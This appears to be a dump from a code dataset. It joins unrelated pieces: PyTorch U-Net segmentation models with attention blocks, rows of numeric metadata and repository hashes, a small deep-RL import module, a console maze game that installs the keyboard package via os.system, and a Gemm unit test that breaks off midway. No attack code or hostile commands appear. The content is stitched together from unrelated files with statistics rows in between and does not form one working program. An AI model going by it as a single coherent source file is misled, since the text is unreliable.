class CBAM_UNet_Encoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = CBAM(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = CBAM(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = CBAM(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = CBAM(self.w4)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
# ===========================
class GE_UNet_All(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = GE(self.w4)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.se_1_d = GE(self.w1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.se_2_d = GE(self.w2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.se_3_d = GE(self.w3)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3_d(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2_d(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1_d(self.dconv_up1(x))
out = self.conv_last(x)
return out
class GE_UNet_Decoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.dconv_down1(x)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1(self.dconv_up1(x))
out = self.conv_last(x)
return out
class GE_UNet_Encoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = GE(self.w4)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
# ============================
class SE_UNet_All(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = SE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = SE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = SE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = SE(self.w4)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.se_1_d = SE(self.w1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.se_2_d = SE(self.w2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.se_3_d = SE(self.w3)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3_d(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2_d(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1_d(self.dconv_up1(x))
out = self.conv_last(x)
return out
class SE_UNet_Decoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = SE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = SE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = SE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.dconv_down1(x)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1(self.dconv_up1(x))
out = self.conv_last(x)
return out
class SE_UNet_Encoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = SE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = SE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = SE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = SE(self.w4)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
class UNet(nn.Module):
#
def __init__(self, in_ch, width, class_no):
#
super(UNet, self).__init__()
#
if class_no == 2:
#
self.final_in = 1
#
else:
#
self.final_in = class_no
#
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.econv0 = single_conv(in_channels=in_ch, out_channels=self.w1, step=1)
self.econv1 = double_conv(in_channels=self.w1, out_channels=self.w2, step=2)
self.econv2 = double_conv(in_channels=self.w2, out_channels=self.w3, step=2)
self.econv3 = double_conv(in_channels=self.w3, out_channels=self.w4, step=2)
self.bridge = double_conv(in_channels=self.w4, out_channels=self.w4, step=1)
#
self.dconv3 = double_conv(in_channels=self.w4+self.w4, out_channels=self.w3, step=1)
self.dconv2 = double_conv(in_channels=self.w3+self.w3, out_channels=self.w2, step=1)
self.dconv1 = double_conv(in_channels=self.w2+self.w2, out_channels=self.w1, step=1)
self.dconv0 = double_conv(in_channels=self.w1+self.w1, out_channels=self.w1, step=1)
#
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.dconv_last = nn.Conv2d(self.w1, self.final_in, 1, bias=True)
def forward(self, x):
x0 = self.econv0(x)
x1 = self.econv1(x0)
x2 = self.econv2(x1)
x3 = self.econv3(x2)
x4 = self.bridge(x3)
y = self.upsample(x4)
if y.size()[2] != x3.size()[2]:
diffY = torch.tensor([x3.size()[2] - y.size()[2]])
diffX = torch.tensor([x3.size()[3] - y.size()[3]])
#
y = F.pad(y, [diffX // 2, diffX - diffX // 2, diffY // 2, diffY - diffY // 2])
y3 = torch.cat([y, x3], dim=1)
y3 = self.dconv3(y3)
y2 = self.upsample(y3)
y2 = torch.cat([y2, x2], dim=1)
y2 = self.dconv2(y2)
y1 = self.upsample(y2)
y1 = torch.cat([y1, x1], dim=1)
y1 = self.dconv1(y1)
y0 = self.upsample(y1)
y0 = torch.cat([y0, x0], dim=1)
y0 = self.dconv0(y0)
y = self.dconv_last(y0)
return y
class DeeperUNet(nn.Module):
# baseline 1 for wmh:
# u-net
# improvements over original one:
# instance normalisation
# interpolation upsampling rather than de-conv
# 4 stages
#
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_down0 = first_conv(in_ch, self.w1, step=1)
self.dconv_down1 = double_conv(self.w1, self.w1, step=2)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.bridge = double_conv(self.w4, self.w4, step=1)
#
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.dconv_up0 = double_conv(self.w1 + self.w1, self.w1, step=1)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
#
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv0 = self.dconv_down0(x)
conv1 = self.dconv_down1(conv0)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
x = self.upsample(x)
x = torch.cat([x, conv0], dim=1)
x = self.dconv_up0(x)
out = self.conv_last(x)
return out
class AttentionUNet(nn.Module):
def __init__(self, in_ch, width):
super(AttentionUNet, self).__init__()
# self.attention_visual = visulisation
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.a3_match_res = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.a2_match_res = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.a1_match_res = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.attention_3 = Attention_block(self.w4, self.w3)
self.attention_2 = Attention_block(self.w3, self.w2)
self.attention_1 = Attention_block(self.w2, self.w1)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
#
# if self.attention_visual is True:
# attention_weights = []
# trunk_features = []
#
s1 = self.dconv_down1(x)
s2 = self.dconv_down2(s1)
s3 = self.dconv_down3(s2)
s4 = self.dconv_down4(s3)
s4 = self.bridge(s4)
#
attn_3 = self.attention_3(self.a3_match_res(s4), s3)
a_s3 = attn_3 * s3 + s3
#
# if self.attention_visual is True:
# attention_weights.append(attn_3)
# trunk_features.append(s3)
#
output = torch.cat([a_s3, self.upsample(s4)], dim=1)
output = self.dconv_up3(output)
#
attn_2 = self.attention_2(self.a2_match_res(output), s2)
a_s2 = attn_2 * s2 + s2
#
# if self.attention_visual is True:
# attention_weights.append(attn_2)
# trunk_features.append(s2)
#
output = torch.cat([a_s2, self.upsample(output)], dim=1)
output = self.dconv_up2(output)
#
attn_1 = self.attention_1(self.a1_match_res(output), s1)
a_s1 = attn_1 * s1 + s1
#
# if self.attention_visual is True:
# attention_weights.append(attn_1)
# trunk_features.append(s1)
#
output = torch.cat([a_s1, self.upsample(output)], dim=1)
output = self.dconv_up1(output)
output = self.conv_last(output)
#
return output
# if self.attention_visual is False:
# return output
# else:
# return output, attention_weights, trunk_features
| 37.006881 | 159 | 0.584258 | 7,292 | 48,405 | 3.69062 | 0.031953 | 0.093639 | 0.070229 | 0.02118 | 0.88102 | 0.860137 | 0.842635 | 0.832491 | 0.819672 | 0.818445 | 0 | 0.056332 | 0.279723 | 48,405 | 1,307 | 160 | 37.035195 | 0.71556 | 0.034294 | 0 | 0.819563 | 0 | 0 | 0.004098 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.053181 | false | 0 | 0.002849 | 0.003799 | 0.109212 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2046967975497f14ec9b4bfab36da7555d90ed46 | 261 | py | Python | drl/__init__.py | lych1233/compactDRL | 392eeff336c833b97b4c9b7f6b044144c242b1fa | [
"MIT"
] | 1 | 2021-08-10T03:00:34.000Z | 2021-08-10T03:00:34.000Z | drl/__init__.py | lych1233/compactDRL | 392eeff336c833b97b4c9b7f6b044144c242b1fa | [
"MIT"
] | null | null | null | drl/__init__.py | lych1233/compactDRL | 392eeff336c833b97b4c9b7f6b044144c242b1fa | [
"MIT"
] | null | null | null | from drl.dqn.main import run as DQN
from drl.a2c.main import run as A2C
from drl.ddpg.main import run as DDPG
from drl.rainbow.main import run as Rainbow
from drl.ppo.main import run as PPO
from drl.td3.main import run as TD3
from drl.sac.main import run as SAC | 37.285714 | 43 | 0.789272 | 56 | 261 | 3.678571 | 0.232143 | 0.237864 | 0.441748 | 0.509709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018182 | 0.157088 | 261 | 7 | 44 | 37.285714 | 0.918182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b39230f7ff9349f51d166293995b5c5a927688a5 | 10,298 | py | Python | movimento.py | zHary27/randomlygeneratedmap | 0c7d5333e2cbb67e915c62237f14d52e18210f13 | [
"MIT"
] | null | null | null | movimento.py | zHary27/randomlygeneratedmap | 0c7d5333e2cbb67e915c62237f14d52e18210f13 | [
"MIT"
] | null | null | null | movimento.py | zHary27/randomlygeneratedmap | 0c7d5333e2cbb67e915c62237f14d52e18210f13 | [
"MIT"
] | null | null | null | import os
try:
import keyboard
except:
os.system('pip install keyboard')
import keyboard
import time
import random
chão = ' '
pedra = '#'
boneco = 'O'
chegadasimbolo = 'A'
spawnposparacriarmapa = 'B'
def checarlados(mapa, pos, jaforam):
ladospossiveis = []
try:
if mapa[pos[0]][pos[1]+1] != pedra and (pos[0], pos[1]+1) not in jaforam:
ladospossiveis.append((pos[0], pos[1]+1))
except:
pass
try:
if mapa[pos[0]][pos[1]-1] != pedra and pos[1]-1 >= 0 and (pos[0], pos[1]-1) not in jaforam:
ladospossiveis.append((pos[0], pos[1]-1))
except:
pass
try:
if mapa[pos[0]+1][pos[1]] != pedra and (pos[0]+1, pos[1]) not in jaforam:
ladospossiveis.append((pos[0]+1, pos[1]))
except:
pass
try:
if mapa[pos[0]-1][pos[1]] != pedra and pos[0]-1 >= 0 and (pos[0]-1, pos[1]) not in jaforam:
ladospossiveis.append((pos[0]-1, pos[1]))
except:
pass
return ladospossiveis
def criarmapabfs(altura, largura, porcentagem):
global chão
global pedra
global boneco
global chegadasimbolo
global spawnposparacriarmapa
porcento = []
for i in range(0, porcentagem): porcento.append(i)
mapa = []
parachecar = []
jaforam = [(0, 0)]
spawnpos = (random.randint(0, altura-1), random.randint(0, largura-1))
while spawnpos == (0, 0):
spawnpos = (random.randint(0, altura-1), random.randint(0, largura-1))
for i in range(0, altura):
mapa.append([])
for linha in mapa:
for i in range(0, largura):
linha.append(chão)
for linha in mapa:
for i in range(0, largura):
if random.randint(0,100) in porcento and (mapa.index(linha), i) != spawnpos:
linha[i] = pedra
chegada = random.choice([(0, 0), (0, largura-1), (altura-1, 0), (altura-1, largura-1)])
mapa[spawnpos[0]][spawnpos[1]] = spawnposparacriarmapa
mapa[chegada[0]][chegada[1]] = chegadasimbolo
apos = chegada
while True:
os.system('cls')
for i in mapa: print(i)
print('Generating map...')
for linha in mapa:
for i in linha:
if i == chegadasimbolo:
apos = mapa.index(linha), linha.index(i)
for i in checarlados(mapa, apos, jaforam):
if i not in parachecar:
parachecar.append(i)
if parachecar == []:
os.system('cls')
if spawnpos not in jaforam:
for i in mapa: print(i)
print('Impossible')
return 'no'
else:
mapa[chegada[0]][chegada[1]] = chegadasimbolo
break
if apos == spawnpos or spawnpos in jaforam:
os.system('cls')
mapa[chegada[0]][chegada[1]] = chegadasimbolo
for i in mapa: print(i)
print('Found')
break
else:
if mapa[parachecar[0][0]][parachecar[0][1]] == pedra:
if (parachecar[0][0], parachecar[0][1]) not in jaforam:
jaforam.append((parachecar[0][0], parachecar[0][1]))
parachecar.pop(0)
else:
if (parachecar[0][0], parachecar[0][1]) not in jaforam:
jaforam.append((parachecar[0][0], parachecar[0][1]))
mapa[apos[0]][apos[1]] = chão
mapa[parachecar[0][0]][parachecar[0][1]] = chegadasimbolo
parachecar.pop(0)
return mapa, spawnpos
def criarmapadfs(altura, largura, porcentagem):
global chão
global pedra
global boneco
global chegadasimbolo
global spawnposparacriarmapa
porcento = []
for i in range(0, porcentagem): porcento.append(i)
mapa = []
parachecar = []
jaforam = [(0, 0)]
chegada = random.choice([(0, 0), (0, largura-1), (altura-1, 0), (altura-1, largura-1)])
spawnpos = (random.randint(0, altura-1), random.randint(0, largura-1))
while spawnpos == chegada:
spawnpos = (random.randint(0, altura-1), random.randint(0, largura-1))
for i in range(0, altura):
mapa.append([])
for linha in mapa:
for i in range(0, largura):
linha.append(chão)
for linha in mapa:
for i in range(0, largura):
if random.randint(0,100) in porcento and (mapa.index(linha), i) != spawnpos:
linha[i] = pedra
mapa[spawnpos[0]][spawnpos[1]] = spawnposparacriarmapa
mapa[chegada[0]][chegada[1]] = chegadasimbolo
apos = chegada
while True:
os.system('cls')
for i in mapa: print(i)
print('Generating map...')
for linha in mapa:
for i in linha:
if i == chegadasimbolo:
apos = mapa.index(linha), linha.index(i)
for i in checarlados(mapa, apos, jaforam):
if i not in parachecar:
parachecar.append(i)
if parachecar == []:
os.system('cls')
if spawnpos not in jaforam:
for i in mapa: print(i)
print('Impossible')
return 'no'
else:
mapa[chegada[0]][chegada[1]] = chegadasimbolo
break
if apos == spawnpos or spawnpos in jaforam:
os.system('cls')
mapa[chegada[0]][chegada[1]] = chegadasimbolo
for i in mapa: print(i)
print('Found')
break
else:
if mapa[parachecar[-1][0]][parachecar[-1][1]] == pedra:
if (parachecar[-1][0], parachecar[-1][1]) not in jaforam:
jaforam.append((parachecar[-1][0], parachecar[-1][1]))
parachecar.pop()
else:
if (parachecar[-1][0], parachecar[-1][1]) not in jaforam:
jaforam.append((parachecar[-1][0], parachecar[-1][1]))
mapa[apos[0]][apos[1]] = chão
mapa[parachecar[-1][0]][parachecar[-1][1]] = chegadasimbolo
parachecar.pop()
return mapa, spawnpos
def pegarposição(mapa):
global boneco
for i in mapa:
for b in i:
if b == boneco:
return (mapa.index(i), i.index(b))
def iniciarjogo(altura, largura, porcentagem, bfsdfs):
while True:
if bfsdfs == 'bfs':
criandomapa = criarmapabfs(altura, largura, porcentagem)
elif bfsdfs == 'dfs':
criandomapa = criarmapadfs(altura, largura, porcentagem)
if criandomapa != 'no':
global chão
global pedra
global boneco
global chegada
mapa = criandomapa[0]
mapa[criandomapa[1][0]][criandomapa[1][1]] = boneco
for linha in mapa:
for i in linha:
if i == chegadasimbolo:
chegada = mapa.index(linha), linha.index(i)
while True:
os.system('cls')
for i in mapa: print(i)
print(f'Current position: ({pegarposição(mapa)[0]+1}, {pegarposição(mapa)[1]})')
print(f'Objective: ({chegada[0]+1}, {chegada[1]+1})')
bonecoestaem = (pegarposição(mapa)[0], pegarposição(mapa)[1])
if bonecoestaem == chegada:
break
time.sleep(0.2)
andar = keyboard.read_key()
if andar.upper() == 'D':
try:
if mapa[bonecoestaem[0]][bonecoestaem[1]+1] != pedra:
mapa[bonecoestaem[0]][bonecoestaem[1]+1] = boneco
mapa[bonecoestaem[0]][bonecoestaem[1]] = chão
else:
pass
except:
pass
elif andar.upper() == 'A':
try:
if mapa[bonecoestaem[0]][bonecoestaem[1]-1] != pedra and bonecoestaem[1]-1 >= 0:
mapa[bonecoestaem[0]][bonecoestaem[1]-1] = boneco
mapa[bonecoestaem[0]][bonecoestaem[1]] = chão
else:
pass
except:
pass
elif andar.upper() == 'W':
try:
if mapa[bonecoestaem[0]-1][bonecoestaem[1]] != pedra and bonecoestaem[0]-1 >= 0:
mapa[bonecoestaem[0]-1][bonecoestaem[1]] = boneco
mapa[bonecoestaem[0]][bonecoestaem[1]] = chão
else:
pass
except:
pass
elif andar.upper() == 'S':
try:
if mapa[bonecoestaem[0]+1][bonecoestaem[1]] != pedra:
mapa[bonecoestaem[0]+1][bonecoestaem[1]] = boneco
mapa[bonecoestaem[0]][bonecoestaem[1]] = chão
else:
pass
except:
pass
else:
pass
while True:
try:
os.system('cls')
bfsoudfs = input('BFS or DFS: ').lower()
if bfsoudfs not in 'bfsdfs':
print('Invalid value, try again.')
break
iniciarjogo(int(input('Height: ')), int(input('Width: ')), int(input('Rocks rate (40 recommended): ')), bfsoudfs)
except ValueError:
print('Invalid value detected, try again.')
| 32.282132 | 122 | 0.464459 | 1,066 | 10,298 | 4.485929 | 0.094747 | 0.017566 | 0.026349 | 0.021748 | 0.752823 | 0.751359 | 0.746131 | 0.726265 | 0.726265 | 0.678586 | 0 | 0.036883 | 0.415518 | 10,298 | 318 | 123 | 32.383648 | 0.757601 | 0 | 0 | 0.728745 | 0 | 0 | 0.036373 | 0.00511 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020243 | false | 0.052632 | 0.020243 | 0 | 0.064777 | 0.068826 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
3734ac872f3c7cdf87fe224688fc3c65b325483a | 5,623 | py | Python | tests/unit_tests/test_nn/test_converters/test_tensorflow/test_Gemm.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 5 | 2022-01-28T20:30:34.000Z | 2022-03-17T09:26:52.000Z | tests/unit_tests/test_nn/test_converters/test_tensorflow/test_Gemm.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 9 | 2022-01-27T03:50:28.000Z | 2022-02-08T18:42:17.000Z | tests/unit_tests/test_nn/test_converters/test_tensorflow/test_Gemm.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 2 | 2022-02-03T17:32:43.000Z | 2022-03-24T16:38:49.000Z | import numpy as np
import pytest
from dnnv.nn.converters.tensorflow import *
from dnnv.nn.operations import *
def test_Gemm_all_attributes():
a = np.random.ranf([4, 3]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.random.ranf([1, 5]).astype(np.float32)
op = Gemm(a, b, c, alpha=0.25, beta=0.35, transpose_a=1, transpose_b=1)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = 0.25 * a.T @ b.T + 0.35 * c
